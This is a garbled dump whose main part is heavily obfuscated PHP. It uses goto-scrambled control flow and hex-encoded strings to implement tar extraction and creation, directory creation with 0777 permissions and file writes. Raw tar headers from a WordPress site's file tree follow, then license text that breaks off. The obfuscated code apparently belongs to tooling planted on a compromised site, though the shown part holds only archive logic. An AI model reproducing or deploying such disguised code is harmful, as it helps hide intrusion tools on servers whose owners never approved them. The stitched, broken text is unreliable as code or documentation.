goto CRixM; goto XCTUi; Ps0j7: fedxn: goto XqhXE; cu864: if (!(($lOFrg = fopen($GO7Gl, "\162\142")) == 0)) { goto gq0m7; } goto S1nrS; bkvbW: z1p5Y: goto bszhQ; BYg2q: $GO7Gl = str_replace("\x5c", "\57", $GO7Gl); goto QLH_T; fhCbc: lQROb: goto yCmp7; Q8bkk: if (!(strlen($GO7Gl) <= 0)) { goto fedxn; } goto Ip6Cd; iToEI: $PjhC7 = pack("\141\x35\x31\x32", $cyTbI); goto AfnSl; DjNKt: $j0SYi++; goto ydX3O; UNjt4: isbDe: goto mjfST; BlBYD: goto CRixM; goto HO_cR; jIvLj: if ($this->fOHaU) { goto yc9gr; } goto d1iv0; e8EFh: $esQj7 = true; goto Ch11X; AfnSl: $this->RRb_F($PjhC7); goto nkiyb; NB8p8: if (is_file($GO7Gl)) { goto BoQ7s; } goto CWVtp; itmjt: IR_pw: goto PXSJz; k4tQH: IP_Y1: goto Mo_X6; jzLtc: $Xz90h = array(); goto mkd2L; VGbvV: } function yhz_I($mNXtQ) { goto dYAvE; Vrg5V: fclose($JWqhb); goto IYP4z; vS0BQ: $j0SYi = 0; goto JWLMy; asKBX: $GO7Gl .= substr($cVoej, 0, $tL2vE); goto EVQvG; sAYvK: RZjLw: goto lodLn; YlBSg: $cVoej = $this->O_BNX(); goto SvPX2; seQ2a: goto rrVD0; goto NtKTP; TXriM: clearstatcache(); goto OfO3t; NtKTP: j0um_: goto vL6wE; ju7iz: $cVoej = $this->o_bNX(); goto asKBX; QC2gp: if (!(substr($Px8fC["\146\x69\154\x65\x6e\x61\x6d\145"], 0, 1) == "\x2f" && $uj26a == '')) { goto Jf93u; } goto Fg6BJ; Ch4tl: H6irD: goto WSJuO; Ez7er: return false; goto GL9bB; dxbi5: $this->M2HUb[] = cWqZd("\x43\x61\156\x6e\x6f\164\x20\143\x72\145\141\164\145\40\144\x69\162\x65\x63\x74\x6f\x72\x79") . "\x20" . CWQZD("\40\x66\x6f\x72\x20") . $Px8fC["\146\x69\154\145\156\x61\x6d\145"]; goto rSKnx; PrGdM: $K0qd4 = floor($Px8fC["\163\x69\172\145"] / 512); goto vS0BQ; Ed2RV: UJkS7: goto dxbi5; cubZp: if ($this->RGTRC($Px8fC["\164\x79\160\x65\x66\154\141\147"] == "\65" ? $Px8fC["\146\x69\x6c\x65\x6e\x61\155\145"] : dirname($Px8fC["\x66\x69\x6c\145\x6e\141\155\145"])) != 1) { goto UJkS7; } goto q8r9l; cfeA1: $mNXtQ = "\x2e\x2f" . $mNXtQ; goto MxQlD; lodLn: if (!($mNXtQ != "\56\57" && $mNXtQ != "\57")) { goto WH64Q; } goto UCPcM; aC0j2: if (!($Px8fC["\164\x79\x70\145\x66\x6c\141\x67"] == "\114")) { goto RZjLw; } goto rO3YN; jBVBU: if (!($j0SYi < $K0qd4)) { goto j0um_; } goto D3Th4; JciFn: $uj26a = ''; goto BLYzQ; xDWyB: if ($Px8fC["\164\171\160\x65\x66\154\x61\x67"] == "\x35") { goto lUb5x; } goto XJIvC; r2T36: quavm: goto PZaej; Hw6Rn: $this->M2HUb[] = cwQzd("\103\x61\x6e\x6e\x6f\x74\x20\x77\x72\x69\x74\145\x20\164\157\x20\x66\151\x6c\x65") . "\x20" . $Px8fC["\x66\151\x6c\x65\156\x61\x6d\145"]; goto pECrL; zD7Ra: return false; goto bXThz; HLajB: ZqFo2: goto aC0j2; K3uik: if (!(@is_dir($Px8fC["\146\151\154\x65\x6e\x61\x6d\145"]) && $Px8fC["\x74\171\160\145\146\154\141\147"] == '')) { goto OlkFC; } goto CDuUD; XxR80: if ($this->JZoG3($PjhC7, $Px8fC)) { goto xPUMf; } goto Ez7er; ZJO74: cxMJf: goto brmYu; x5mIN: $mNXtQ = substr($mNXtQ, 0, strlen($mNXtQ) - 1); goto UzwjS; XWOVn: vrkq7: goto yfkh_; dYAvE: $mNXtQ = str_replace("\134", "\57", $mNXtQ); goto aF13c; PZaej: if (!(($tL2vE = $Px8fC["\x73\x69\x7a\x65"] % 512) != 0)) { goto Be4nn; } goto ju7iz; sBxZu: if (!(is_file($Px8fC["\146\151\154\x65\156\141\x6d\x65"]) && $Px8fC["\x74\x79\160\x65\146\154\141\x67"] == "\x35")) { goto ng5Sw; } goto J23ws; fgGJ0: clearstatcache(); goto RgHDX; VPov1: $Px8fC["\x66\x69\x6c\145\156\141\x6d\145"] = $GO7Gl; goto FXbCQ; DDRhU: $K0qd4 = floor($Px8fC["\163\151\x7a\x65"] / 512); goto LVfn9; Dev3y: U7K98: goto FSCzA; q8r9l: goto G42Gi; goto Qy54j; iZ4ny: $GO7Gl .= $cVoej; goto YsanD; Fg6BJ: $uj26a = "\57"; goto CaUPp; czBiO: goto QZNCG; goto XWOVn; Qy54j: nNJ2Q: goto K3uik; WQGwi: R1GbZ: goto pGqi0; EVQvG: Be4nn: goto S6iet; BrGOM: F5N_R: goto TXriM; NTLwX: ng5Sw: goto Srf9L; dtv8a: $cVoej = $this->O_BNX(); goto iZ4ny; R_1dH: p8qHr: goto cs1UE; NasI6: epgSs: goto pxlJ8; dnZ9e: WVnS8: goto tsgYL; UCPcM: mx734: goto dukKJ; MGRKx: $this->M2HUb[] = CwQzD("\x53\x69\x7a\145\x20\x6f\x66\40\x66\151\154\x65") . "\x20" . $Px8fC["\x66\151\x6c\145\156\x61\x6d\x65"] . "\40" . cWqzd("\151\163\40\x69\156\143\157\162\x72\145\x63\164"); goto Vql2g; LVfn9: $j0SYi = 0; goto m_1OF; Ojso1: goto F5N_R; goto N13Dh; KPfGm: $this->n2FfZ[] = $uj26a; goto KmEHM; y3sHN: $this->M2HUb[] = cwqzD("\x43\x61\156\156\x6f\164\40\x63\x72\145\141\164\145\40\x64\x69\x72\145\143\x74\157\x72\x79") . "\40" . $Px8fC["\x66\x69\154\x65\x6e\141\155\x65"]; goto uN6Dp; BLYzQ: OciWf: goto QC2gp; JWLMy: GIBcN: goto MNG3L; sjBBl: MaiZv: goto WgwoU; J23ws: $this->M2HUb[] = CWqZD("\x43\x61\156\x6e\x6f\164\x20\x63\162\x65\x61\x74\x65\x20\x64\151\x72\x65\143\164\157\x72\171") . "\x2e\40" . cwqzd("\106\151\x6c\x65\x20") . $Px8fC["\x66\151\x6c\x65\156\141\155\145"] . CwqzD("\40\x61\154\162\145\x61\x64\x79\40\x65\170\151\163\x74\163"); goto glQYa; LWnMy: $Px8fC["\x66\151\154\145\x6e\x61\155\145"] = $mNXtQ . "\57" . $Px8fC["\x66\151\154\145\156\141\x6d\145"]; goto o0N3L; OfO3t: if (!(filesize($Px8fC["\x66\151\154\x65\x6e\x61\x6d\x65"]) != $Px8fC["\163\151\172\145"])) { goto WVnS8; } goto MGRKx; glQYa: return false; goto NTLwX; MNG3L: if (!($j0SYi < $K0qd4)) { goto quavm; } goto dtv8a; K1naH: JGAkn: goto sl1bW; Il_wB: ygR2q: goto Vrg5V; dukKJ: if (!(substr($mNXtQ, -1) == "\57")) { goto JGAkn; } goto x5mIN; D3Th4: $cVoej = $this->O_BnX(); goto emIdL; eEsDJ: if (!($Px8fC["\146\x69\154\145\x6e\x61\x6d\x65"] == '')) { goto ZqFo2; } goto Q34C_; KmEHM: $this->IVVDK[] = $Px8fC["\x66\x69\154\x65\x6e\x61\155\x65"]; goto czBiO; UzwjS: goto mx734; goto K1naH; sl1bW: if (substr($Px8fC["\146\151\x6c\145\156\x61\155\x65"], 0, 1) == "\57") { goto epgSs; } goto LWnMy; FSCzA: return false; goto ZJO74; CaUPp: Jf93u: goto KPfGm; emIdL: fwrite($JWqhb, $cVoej, 512); goto WQGwi; CDuUD: $this->M2HUb[] = CwqzD("\106\151\x6c\145\40") . $Px8fC["\146\151\154\145\x6e\x61\155\x65"] . cWQZd("\40\141\154\162\x65\141\x64\x79\40\x65\170\x69\x73\x74\x73") . cWQZD("\x20\141\x73\40\146\x6f\154\x64\x65\162"); goto zD7Ra; WSJuO: goto G42Gi; goto Ed2RV; uN6Dp: return false; goto Z1v77; Q34C_: goto QZNCG; goto HLajB; Z1v77: JpszW: goto Gii87; FXbCQ: goto cxMJf; goto Dev3y; XJIvC: if (($JWqhb = fopen($Px8fC["\x66\151\x6c\x65\156\x61\155\145"], "\x77\142")) == 0) { goto j41Ye; } goto DDRhU; N13Dh: j41Ye: goto Hw6Rn; o0N3L: goto p8qHr; goto NasI6; MxQlD: ZFG39: goto fgGJ0; Ok4kv: goto GIBcN; goto r2T36; Srf9L: if (is_writeable($Px8fC["\x66\x69\x6c\x65\156\x61\155\x65"])) { goto H6irD; } goto aR7z3; cs1UE: WH64Q: goto QGMER; vL6wE: if (!($Px8fC["\163\x69\172\145"] % 512 != 0)) { goto ygR2q; } goto YlBSg; SvPX2: fwrite($JWqhb, $cVoej, $Px8fC["\x73\151\x7a\x65"] % 512); goto Il_wB; aR7z3: $this->M2HUb[] = CwqZD("\x43\141\x6e\x6e\157\x74\x20\167\162\151\164\145\40\164\157\40\146\x69\x6c\145") . "\x2e\40" . cWQzd("\x46\x69\154\x65\40") . $Px8fC["\146\x69\154\145\x6e\141\x6d\145"] . CwQzD("\x20\x61\x6c\x72\145\x61\144\171\x20\x65\170\x69\163\164\x73"); goto N1rQC; brmYu: return true; goto sAYvK; GszFb: if (file_exists($Px8fC["\x66\151\x6c\145\156\141\x6d\x65"])) { goto GFw8c; } goto cyWf7; pxlJ8: $Px8fC["\x66\151\x6c\x65\156\x61\155\145"] = $mNXtQ . $Px8fC["\x66\x69\x6c\145\x6e\x61\155\x65"]; goto R_1dH; RgHDX: QZNCG: goto fR553; fR553: if (!(strlen($PjhC7 = $this->O_bnX()) != 0)) { goto vrkq7; } goto XxR80; m_1OF: rrVD0: goto jBVBU; Yzyfk: $j0SYi++; goto Ok4kv; cyWf7: if (mkdir($Px8fC["\146\x69\154\x65\156\x61\155\x65"], 0777)) { goto JpszW; } goto y3sHN; dF3t2: if (!$this->jzoG3($PjhC7, $Px8fC)) { goto U7K98; } goto VPov1; aF13c: if (!($mNXtQ == '' || substr($mNXtQ, 0, 1) != "\x2f" && substr($mNXtQ, 0, 3) != "\56\56\x2f" && !strpos($mNXtQ, "\x3a"))) { goto ZFG39; } goto cfeA1; tsgYL: goto MaiZv; goto YRETb; rO3YN: $GO7Gl = ''; goto PrGdM; GL9bB: xPUMf: goto eEsDJ; YsanD: V_jWD: goto Yzyfk; rSKnx: return false; goto BYz8_; QGMER: if (file_exists($Px8fC["\x66\x69\154\x65\x6e\x61\155\x65"])) { goto nNJ2Q; } goto cubZp; BYz8_: G42Gi: goto xDWyB; YRETb: lUb5x: goto GszFb; IYP4z: touch($Px8fC["\x66\x69\154\x65\x6e\141\x6d\145"], $Px8fC["\164\151\155\x65"]); goto Ojso1; N1rQC: return false; goto Ch4tl; Gii87: GFw8c: goto sjBBl; WgwoU: if (!(($uj26a = dirname($Px8fC["\146\151\154\x65\156\141\x6d\145"])) == $Px8fC["\x66\151\x6c\145\x6e\141\x6d\145"])) { goto OciWf; } goto JciFn; pECrL: return false; goto BrGOM; S6iet: $PjhC7 = $this->o_Bnx(); goto dF3t2; Vql2g: return false; goto dnZ9e; yfkh_: return true; goto Kta_v; bXThz: OlkFC: goto sBxZu; pGqi0: $j0SYi++; goto seQ2a; Kta_v: } function RgTrC($X05w2) { goto wnADS; IeOJg: return true; goto eY8UK; PSsyE: $this->M2HUb[] = cwQZD("\x43\141\x6e\156\x6f\x74\40\x63\x72\145\141\x74\145\40\x64\151\162\145\143\164\x6f\x72\171") . "\40" . $X05w2; goto Ovl4S; LE7Of: if (!($eXzvL != $X05w2 and $eXzvL != '' and !$this->RGTRc($eXzvL))) { goto Ef7K0; } goto JVR6y; S70n1: A75e7: goto uSL2m; Ovl4S: return false; goto S70n1; azXs1: if (!(@is_dir($X05w2) or $X05w2 == '')) { goto NJJIY; } goto IeOJg; uSL2m: return true; goto aY5Ff; vKWSW: Ef7K0: goto U_AYV; eY8UK: NJJIY: goto LE7Of; JVR6y: return false; goto vKWSW; wnADS: $eXzvL = dirname($X05w2); goto azXs1; U_AYV: if (mkdir($X05w2, 0777)) { goto A75e7; } goto PSsyE; aY5Ff: } function jzog3($PjhC7, &$Px8fC) { goto BTrvk; UH5TD: nZmcU: goto ISjVf; L_ScM: $Px8fC["\163\x69\x7a\x65"] = OctDec(trim($CNhMU["\163\151\x7a\x65"])); goto EadMt; nibK1: F4s91: goto bn1iY; sKUuw: if (!($Px8fC["\143\x68\x65\143\153\x73\x75\155"] != $p3LcS)) { goto nZmcU; } goto YPhtp; BTrvk: if (!(strlen($PjhC7) == 0)) { goto hpBmi; } goto BQPg2; KN8sw: $p3LcS += ord(substr($PjhC7, $j0SYi, 1)); goto eSxRW; eSxRW: SPZV6: goto vBTuI; ymhKa: tF6TZ: goto o7DbI; kfzY2: goto F4s91; goto ymhKa; p3A35: $j0SYi = 0; goto eVrXI; ULn8C: $Px8fC["\143\150\x65\143\x6b\x73\x75\155"] = OctDec(trim($CNhMU["\143\150\145\x63\153\163\x75\x6d"])); goto sKUuw; BQPg2: $Px8fC["\146\151\x6c\145\x6e\141\155\x65"] = ''; goto sdiLc; eVrXI: uO9aD: goto aeUfT; o7DbI: $j0SYi = 156; goto FwX1d; bI_g6: TCVS0: goto gVrax; Vq71w: return false; goto UH5TD; KAQql: hpBmi: goto mfV8e; cXOzU: goto uO9aD; goto U9_u8; numdJ: $Px8fC["\163\x69\x7a\145"] = 0; goto ssKgR; UpGpd: $p3LcS += ord(substr($PjhC7, $j0SYi, 1)); goto zS96e; bn1iY: if (!($j0SYi < 156)) { goto tF6TZ; } goto jgYfb; gVrax: $CNhMU = unpack("\141\61\x30\x30\146\151\x6c\145\x6e\141\x6d\x65\57\141\x38\155\x6f\x64\x65\57\x61\x38\165\x73\145\x72\137\x69\144\57\141\70\x67\x72\157\165\160\137\151\144\57\x61\x31\x32\163\151\x7a\x65\x2f\x61\61\x32\x74\151\155\145\57\141\x38\x63\150\145\x63\153\x73\x75\x6d\x2f\141\x31\x74\x79\160\x65\x66\x6c\x61\147\57\x61\61\60\x30\154\151\x6e\153\x2f\141\x36\155\141\x67\151\143\x2f\x61\62\166\x65\162\163\151\157\x6e\57\141\63\62\165\156\x61\155\145\x2f\141\63\x32\147\x6e\141\x6d\x65\x2f\141\x38\x64\x65\166\155\141\152\157\x72\x2f\141\70\x64\145\x76\155\x69\x6e\157\x72", $PjhC7); goto ULn8C; FwX1d: OelRL: goto qrUvF; jgYfb: $p3LcS += ord("\40"); goto faoKW; Yx_T4: $Px8fC["\146\151\154\x65\x6e\141\155\x65"] = ''; goto SM55G; oHX68: goto OelRL; goto bI_g6; h9zE5: $j0SYi++; goto oHX68; qrUvF: if (!($j0SYi < 512)) { goto TCVS0; } goto UpGpd; SIFzd: return true; goto uzzV3; H32ib: $Px8fC["\x66\151\154\x65\x6e\141\x6d\145"] = trim($CNhMU["\146\x69\x6c\145\x6e\x61\x6d\x65"]); goto Ukz1D; YPhtp: $Px8fC["\x66\x69\x6c\145\x6e\x61\x6d\145"] = ''; goto gPpu8; SM55G: $this->eUlMh("\111\156\x76\141\x6c\x69\x64\x20\142\154\157\x63\153\40\163\151\172\145") . "\72\40" . strlen($PjhC7); goto Gr9JG; EadMt: $Px8fC["\164\151\x6d\145"] = OctDec(trim($CNhMU["\x74\x69\155\x65"])); goto SIFzd; U9_u8: N1xuo: goto ofuN5; sdiLc: return true; goto KAQql; vBTuI: $j0SYi++; goto cXOzU; faoKW: Y8ILy: goto bbCgf; aeUfT: if (!($j0SYi < 148)) { goto N1xuo; } goto KN8sw; Y1rB7: $Px8fC["\147\162\x6f\x75\160\137\151\x64"] = OctDec(trim($CNhMU["\x67\162\157\165\x70\137\151\x64"])); goto L_ScM; XC6cf: $this->M2HUb[] = cWqzd("\105\x72\x72\157\162\40\143\x68\145\x63\x6b\x73\x75\155\x20\146\x6f\162\x20\x66\151\154\145\x20") . $CNhMU["\146\x69\154\145\x6e\141\x6d\145"]; goto Vq71w; ssKgR: ndmTS: goto H32ib; Gr9JG: return false; goto GJREj; Ukz1D: $Px8fC["\x6d\157\144\x65"] = OctDec(trim($CNhMU["\155\157\x64\x65"])); goto lCCO4; lCCO4: $Px8fC["\x75\163\x65\x72\x5f\151\144"] = OctDec(trim($CNhMU["\x75\x73\x65\162\x5f\x69\144"])); goto Y1rB7; mfV8e: if (!(strlen($PjhC7) != 512)) { goto E103D; } goto Yx_T4; ofuN5: $j0SYi = 148; goto nibK1; zS96e: LVQNw: goto h9zE5; PojuQ: return true; goto rWv1L; rWv1L: Qcz92: goto XC6cf; mHXzn: $p3LcS = 0; goto p3A35; bbCgf: $j0SYi++; goto kfzY2; gPpu8: if (!($p3LcS == 256 && $Px8fC["\x63\x68\x65\143\153\x73\x75\x6d"] == 0)) { goto Qcz92; } goto PojuQ; ISjVf: if (!(($Px8fC["\164\171\160\145\x66\x6c\x61\x67"] = $CNhMU["\164\171\x70\x65\x66\154\x61\x67"]) == "\65")) { goto ndmTS; } goto numdJ; GJREj: E103D: goto mHXzn; uzzV3: } function krPH6($GO7Gl, $gKjzI) { goto mMHUJ; AYQEU: Yt6Dm: goto xGJqV; yJ0YI: $j0SYi = 0; goto YqXmB; QpwQg: $BIfZd++; goto H6Ccy; cjMfo: $this->RRB_F($PjhC7, 8); goto jLWkK; xrv6q: $j0SYi++; goto qhCuU; CaIOK: $p3LcS += ord(substr($b7Fvv, $j0SYi, 1)); goto oCja3; m_XSZ: $Qqffa = stat($GO7Gl); goto P9_v7; Qkloi: $Ci6N3 = sprintf("\45\61\x31\163\40", DecOct(0)); goto cAMAN; uUGog: LdFSl: goto F1OYQ; YqXmB: mLNc8: goto LMgXd; fL0vs: CKSsa: goto FRpr_; jJXqh: if (!($j0SYi < 156)) { goto KxnSK; } goto Mwj11; MqGeM: $Ci6N3 = sprintf("\x25\61\x31\163\x20", DecOct(filesize($GO7Gl))); goto wshxQ; uFlEy: $p3LcS += ord(substr($SgwvR, $BIfZd, 1)); goto ak1xO; UCBzb: $BIfZd = 0; goto AYQEU; tXwZ4: RQTmD: goto gBKrL; Br2fj: goto i7z3W; goto fL0vs; jLSh3: if (!($j0SYi < 156)) { goto HV1KD; } goto YrH12; Z7_If: $j0SYi++; goto IzYNZ; GI16C: $nXQv0 = $this->DJUjZ($J0uE0); goto yJ0YI; uxp9L: $j0SYi++; goto Br2fj; mWdk6: $FICGg = "\141\x31\x61\61\x30\x30\141\x36\x61\62\141\x33\x32\x61\x33\62\x61\70\x61\x38\x61\x31\65\65\141\x31\62"; goto C1qIX; FkaJC: $j0SYi = 0; goto ZRkvu; edxu8: $j0SYi++; goto NSAag; IlRLE: goto Yt6Dm; goto Qc6cs; JQd3V: if (!(strlen($J0uE0) > 99)) { goto zuGbc; } goto FlfxL; yPenu: $this->rrb_F($SgwvR, 356); goto H8_77; Jc1zn: i7z3W: goto P8cpb; N_f1F: HV1KD: goto C6CP0; HrR2G: $this->rrB_f($PjhC7, 8); goto yPenu; D58FS: $j0SYi++; goto BNi1H; rvRWY: $PjhC7 = pack("\x61\70", $p3LcS); goto HrR2G; n_xDh: $SgwvR = pack($FICGg, "\114", '', '', '', '', '', '', '', '', ''); goto sscef; LMgXd: if (!(($cyTbI = substr($nXQv0, $j0SYi++ * 512, 512)) != '')) { goto U9QWS; } goto I_Uzb; U7Nif: $p3LcS = 0; goto FkaJC; uCm8k: yfBeh: goto jLSh3; u9ODi: $p3LcS = sprintf("\x25\x36\163\x20", DecOct($p3LcS)); goto b0EII; cAMAN: sK71j: goto M0AP6; w4NcL: SGtYV: goto D58FS; ak1xO: s5aHh: goto VjjIm; sscef: $p3LcS = 0; goto Ufxjp; M0AP6: $b7Fvv = pack($sZCf0, $J0uE0, sprintf("\45\x36\x73\x20", DecOct(fileperms($GO7Gl))), sprintf("\x25\x36\163\40", DecOct($Qqffa[4])), sprintf("\45\x36\163\x20", DecOct($Qqffa[5])), $Ci6N3, sprintf("\x25\61\61\x73", DecOct(filemtime($GO7Gl)))); goto mdJ08; YrH12: $p3LcS += ord("\x20"); goto PxQmv; pk9Zx: return true; goto sbSUl; C6CP0: $j0SYi = 156; goto nhRCL; qhCuU: $BIfZd++; goto IlRLE; I_Uzb: $PjhC7 = pack("\x61\65\x31\x32", $cyTbI); goto xDJXE; YSmgs: $ekhlU = ''; goto kwQZt; pt0hy: if (!($j0SYi < 148)) { goto t9QqU; } goto CaIOK; Tw9qq: C_kKa: goto FlaWT; Ufxjp: $j0SYi = 0; goto Jc1zn; NSAag: goto pN2Ir; goto d7THN; IdN1P: $p3LcS = sprintf("\x25\x36\163\40", DecOct($p3LcS)); goto rvRWY; P9_v7: if (@is_dir($GO7Gl)) { goto C_kKa; } goto YSmgs; MM5DP: $gKjzI = $GO7Gl; goto hdnYL; mMHUJ: $sZCf0 = "\x61\61\x30\x30\x61\70\x61\70\x61\70\141\x31\x32\101\61\x32"; goto mWdk6; H8_77: return true; goto OSu2H; UHb4D: U9QWS: goto pk9Zx; aKuA5: l4Ezj: goto jJXqh; VJV7j: goto mLNc8; goto UHb4D; xDJXE: $this->RRb_F($PjhC7); goto VJV7j; QeYX4: $p3LcS += ord(substr($b7Fvv, $j0SYi, 1)); goto YqBVp; wIHBH: $j0SYi = 156; goto UCBzb; lidth: PTi3G: goto xrv6q; IzYNZ: goto yfBeh; goto N_f1F; xGJqV: if (!($j0SYi < 512)) { goto NgkGD; } goto DwWrg; HkrMS: KxnSK: goto wIHBH; F1OYQ: if (!($j0SYi < 512)) { goto RQTmD; } goto uFlEy; P8cpb: if (!($j0SYi < 148)) { goto CKSsa; } goto QeYX4; wshxQ: goto sK71j; goto Tw9qq; FRpr_: $j0SYi = 148; goto uCm8k; hdnYL: N9aqP: goto khm4c; oCja3: LgDP_: goto edxu8; b0EII: $PjhC7 = pack("\x61\70", $p3LcS); goto cjMfo; sxc9i: $j0SYi = 148; goto aKuA5; khm4c: $J0uE0 = $this->dJuJZ($gKjzI); goto JQd3V; YqBVp: iFAU9: goto uxp9L; FlaWT: $ekhlU = "\65"; goto Qkloi; d7THN: t9QqU: goto sxc9i; PxQmv: iOaVU: goto Z7_If; DwWrg: $p3LcS += ord(substr($SgwvR, $BIfZd, 1)); goto lidth; jLWkK: $this->rrb_f($SgwvR, 356); goto GI16C; gBKrL: $this->RrB_F($b7Fvv, 148); goto u9ODi; VjjIm: $j0SYi++; goto QpwQg; H6Ccy: goto LdFSl; goto tXwZ4; nhRCL: $BIfZd = 0; goto uUGog; C1qIX: if (!(strlen($gKjzI) <= 0)) { goto N9aqP; } goto MM5DP; BNi1H: goto l4Ezj; goto HkrMS; sbSUl: zuGbc: goto m_XSZ; FlfxL: $b7Fvv = pack($sZCf0, "\56\x2f\x2e\x2f\114\x6f\x6e\x67\114\x69\x6e\x6b", 0, 0, 0, sprintf("\x25\x31\61\163\40", DecOct(strlen($J0uE0))), 0); goto n_xDh; M2Z16: $this->RRB_F($b7Fvv, 148); goto IdN1P; mdJ08: $SgwvR = pack($FICGg, $ekhlU, '', '', '', '', '', '', '', '', ''); goto U7Nif; ZRkvu: pN2Ir: goto pt0hy; Mwj11: $p3LcS += ord("\40"); goto w4NcL; Qc6cs: NgkGD: goto M2Z16; kwQZt: clearstatcache(); goto MqGeM; OSu2H: } function EmQFC() { goto I1MfL; z7exS: $this->fOHaU = gzopen($this->fAWlu, "\x77\x62\x39\146"); goto dI07x; v1Q7F: UvtSW: goto z7exS; dI07x: TVju4: goto vOdcx; r9qeE: Gd0sg: goto rpG30; rpG30: return true; goto ejjLE; vOdcx: if ($this->fOHaU) { goto Gd0sg; } goto s9SwX; I1MfL: if ($this->FIXrf) { goto UvtSW; } goto WU7EA; WU7EA: $this->fOHaU = fopen($this->fAWlu, "\x77\142"); goto nBfga; s9SwX: $this->M2HUb[] = cwqZd("\x43\x61\156\156\157\164\x20\x77\162\x69\x74\x65\x20\164\x6f\40\x66\151\x6c\145") . "\40" . $this->fAWlu; goto FBooZ; FBooZ: return false; goto r9qeE; nBfga: goto TVju4; goto v1Q7F; ejjLE: } function o_BNx() { goto nYeNI; nYeNI: if (is_resource($this->fOHaU)) { goto Qbayb; } goto WEXx7; iCwdw: goto rCEmi; goto pNQUZ; LlFpG: rCEmi: goto z5upJ; pGTbQ: $Gmgr3 = fread($this->fOHaU, 512); goto HJTn8; z5upJ: return $Gmgr3; goto Qc5Rw; WEXx7: $Gmgr3 = ''; goto iCwdw; turoe: $Gmgr3 = gzread($this->fOHaU, 512); goto V04xU; V04xU: aCLRZ: goto LlFpG; gj28f: if ($this->FIXrf) { goto Dd3lO; } goto pGTbQ; pNQUZ: Qbayb: goto gj28f; qHDCf: Dd3lO: goto turoe; HJTn8: goto aCLRZ; goto qHDCf; Qc5Rw: } function rrb_F($kH_Nb, $ZIHbx = 0) { goto l1Wtx; y50lw: owE2v: goto YtmD0; ieJUx: PRIk0: goto BYzAk; IDr91: if ($this->FIXrf) { goto Y3uyJ; } goto IqwhD; EQzVt: Y3uyJ: goto dSSDX; l1Wtx: if (!is_resource($this->fOHaU)) { goto UMcOv; } goto AJ66j; p3eWo: goto EQxsU; goto ieJUx; y2Jq4: aJ5qV: goto IDr91; Piq_K: dPYAr: goto y50lw; PKv04: fputs($this->fOHaU, $kH_Nb, $ZIHbx); goto p3eWo; AJ66j: if ($ZIHbx === 0) { goto aJ5qV; } goto A7lUl; WicHd: goto owE2v; goto y2Jq4; IqwhD: fputs($this->fOHaU, $kH_Nb); goto diCLk; A7lUl: if ($this->FIXrf) { goto PRIk0; } goto PKv04; diCLk: goto dPYAr; goto EQzVt; LYSf0: EQxsU: goto WicHd; YtmD0: UMcOv: goto OAtbD; BYzAk: gzputs($this->fOHaU, $kH_Nb, $ZIHbx); goto LYSf0; dSSDX: gzputs($this->fOHaU, $kH_Nb); goto Piq_K; OAtbD: } function Yot4I() { goto PMmZg; ME1yd: fclose($this->fOHaU); goto y1uZ_; BV02Y: if ($this->FIXrf) { goto QPf2B; } goto ME1yd; C_hkB: QPf2B: goto i3mn0; y1uZ_: goto NqRNX; goto C_hkB; kYnP_: NqRNX: goto cQqsD; PMmZg: if (!is_resource($this->fOHaU)) { goto gsUXz; } goto BV02Y; n2VF1: gsUXz: goto l5lp3; cQqsD: $this->fOHaU = 0; goto n2VF1; i3mn0: gzclose($this->fOHaU); goto kYnP_; l5lp3: } function dJuJz($mNXtQ) { goto m2OGy; I0ie7: $esQj7 = ''; goto Riwvj; xz57x: if ($gtFmJ[$j0SYi] == "\x2e") { goto vlVDP; } goto HZ0Y6; JGttW: $j0SYi--; goto vsxNW; r2pU2: $p_eNj = count($gtFmJ) - 1; goto mz6K7; YZXl4: XsqN3: goto PkDSu; IGkBS: goto o7pQY; goto v6E63; fl5Jt: goto o7pQY; goto O5tIy; vsxNW: goto XsqN3; goto rB7N_; mz6K7: $j0SYi = $p_eNj; goto YZXl4; EJ2Xn: $j0SYi--; goto fl5Jt; O5tIy: cpMya: goto vverQ; ZrIzB: vlVDP: goto IGkBS; m2OGy: if (strlen($mNXtQ) > 0) { goto li6ee; } goto I0ie7; GQy7p: seEn2: goto JGttW; hrPso: $gtFmJ = explode("\x2f", $mNXtQ); goto r2pU2; JnJqk: IKVuJ: goto giiF4; vverQ: o7pQY: goto GQy7p; HZ0Y6: if ($gtFmJ[$j0SYi] == "\56\56") { goto OCGJX; } goto G8MSt; v6E63: OCGJX: goto EJ2Xn; PkDSu: if (!($j0SYi >= 0)) { goto ZZHH2; } goto xz57x; FZeN3: $mNXtQ = str_replace("\x5c", "\x2f", $mNXtQ); goto hrPso; giiF4: return $esQj7; goto eKYsS; LvaOk: goto o7pQY; goto ZrIzB; Riwvj: goto IKVuJ; goto O_u2d; rB7N_: ZZHH2: goto JnJqk; O_u2d: li6ee: goto FZeN3; G8MSt: if ($gtFmJ[$j0SYi] == '' and $j0SYi != $p_eNj and $j0SYi != 0) { goto cpMya; } goto IZCCH; IZCCH: $esQj7 = $gtFmJ[$j0SYi] . ($j0SYi != $p_eNj ? "\x2f" . $esQj7 : ''); goto LvaOk; eKYsS: } }
?>14338/license.txt.tar000064400000055000151024420100010163 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/ID3/license.txt000064400000002564151024217370024127 0ustar00/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at http://getid3.sourceforge.net                 //
//            or https://www.getid3.org                        //
//          also https://github.com/JamesHeinrich/getID3       //
/////////////////////////////////////////////////////////////////

*****************************************************************
*****************************************************************

   getID3() is released under multiple licenses. You may choose
   from the following licenses, and use getID3 according to the
   terms of the license most suitable to your project.

GNU GPL: https://gnu.org/licenses/gpl.html                   (v3)
         https://gnu.org/licenses/old-licenses/gpl-2.0.html  (v2)
         https://gnu.org/licenses/old-licenses/gpl-1.0.html  (v1)

GNU LGPL: https://gnu.org/licenses/lgpl.html                 (v3)

Mozilla MPL: https://www.mozilla.org/MPL/2.0/                (v2)

getID3 Commercial License: https://www.getid3.org/#gCL
(no longer available, existing licenses remain valid)

*****************************************************************
*****************************************************************

Copies of each of the above licenses are included in the 'licenses'
directory of the getID3 distribution.
home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/plupload/license.txt000064400000043103151024232740025774 0ustar00		    GNU GENERAL PUBLIC LICENSE
		       Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

			    Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
